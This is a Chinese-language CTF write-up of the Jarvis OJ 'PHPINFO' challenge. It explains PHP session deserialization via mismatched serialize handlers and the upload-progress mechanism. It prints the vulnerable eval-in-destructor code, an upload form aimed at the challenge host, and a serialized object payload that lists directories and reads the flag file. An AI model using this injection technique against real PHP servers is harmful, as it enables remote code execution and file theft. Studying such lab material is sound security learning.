原理啥的我直接放个链接,讲的挺详细的
(23条消息) 原理+实践学习(PHP反序列化和Session反序列化)_Lemon's blog-优快云博客_php session反序列化
重点是这:
PHP 会自动反序列化session文件的内容,并将之填充到 $_SESSION 超级全局变量中。
当没有$_SESSION变量赋值时先上传文件,如果POST一个名为PHP_SESSION_UPLOAD_PROGRESS的变量,就可以将filename的值赋值到session中。下次请求就会反序列化session文件,从中取出这个键。所以攻击点还是跟上一部分一模一样,程序还是使用了不同的session处理引擎。
补充一点 session.upload_process.name可以在phpinfo中查看,默认是PHP_SESSION_UPLOAD_PROGRESS
为了加深印象去做了一道题
Jarvis OJ PHPINFO
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');#ini_set设置指定配置选项的值。这个选项会在脚本运行时保持新的值,并在脚本结束时恢复。
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
首先要对这句话敏感 ini_set('session.serialize_handler', 'php'),看到这个就应该想到PHP内置了三个处理器,用来对session进行序列化和反序列化。题目又给了提示去看phpinfo,那就将计就计。
可以看到 session.upload_progress.enabled为On。说明写入的文件会被存到session文件中,满足了第一步条件再看php.ini中默认session.serialize_handler值是php_serialize,而题目中给的是php,肯定存在session的反序列化漏洞了。
观察代码会发现这段代码是没有$_SESSION
变量赋值但符合使用不同的引擎来处理session文件,所以这里就使用到了php中的upload_process
机制。
具体步骤呢大概是向session中添加数据,这个数据,是我们想要执行的命令。把命令放在类的属性:mdzz中,然后默认用php_serialize序列化,想办法放在session中。当访问php页面时,又遇到“session_start();”这个函数时,会把里面的session给反序列化回来。
构造一个上传文件的表单
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<form action = "http://web.jarvisoj.com:32784/index.php" method = "POST" enctype = "multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123">
<input type="file" name="file">
<input type="submit">
</form>
</body>
</html>
可以看phpinfo里面禁用的很多函数,所以换种方法构造
构造序列化payload
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
class OowoO
{
public $mdzz='print_r(scandir(dirname(__FILE__)));';
}
$z = new OowoO();
echo serialize($z);
?>
为防止双引号被转义,在双引号前加上\
,除此之外还要加上|
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
上传文件并抓包,修改filename传进去后相当于PHP_SESSION_UPLOAD_PROGRESS的值等于filename的值,序列化然后存储到session文件中。
可以看到Here_1s_7he_fl4g_buT_You_Cannot_see.php
这个文件,flag肯定在里面,但还有一个问题就是不知道这个路径,路径的问题就需要回到phpinfo页面去查看
$_SERVER['SCRIPT_FILENAME'] 也是包含当前运行脚本的路径,与 $_SERVER['SCRIPT_NAME'] 不同的是,这是服务器端的绝对路径。
也可以用print_r(dirname(__FILE__));去查看绝对目录
然后直接读flag就可以了
print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));
再看一看构造的几个函数
print_r() 函数用于打印变量,以更容易理解的形式展示。
scandir()列出 某个 目录中的所有文件和目录
dirname 返回路径中的目录部分
_FILE_ 获得文件的绝对地址,如E:\www\index.php
dirname(_FILE_) 获得文件的绝对目录,如E:\www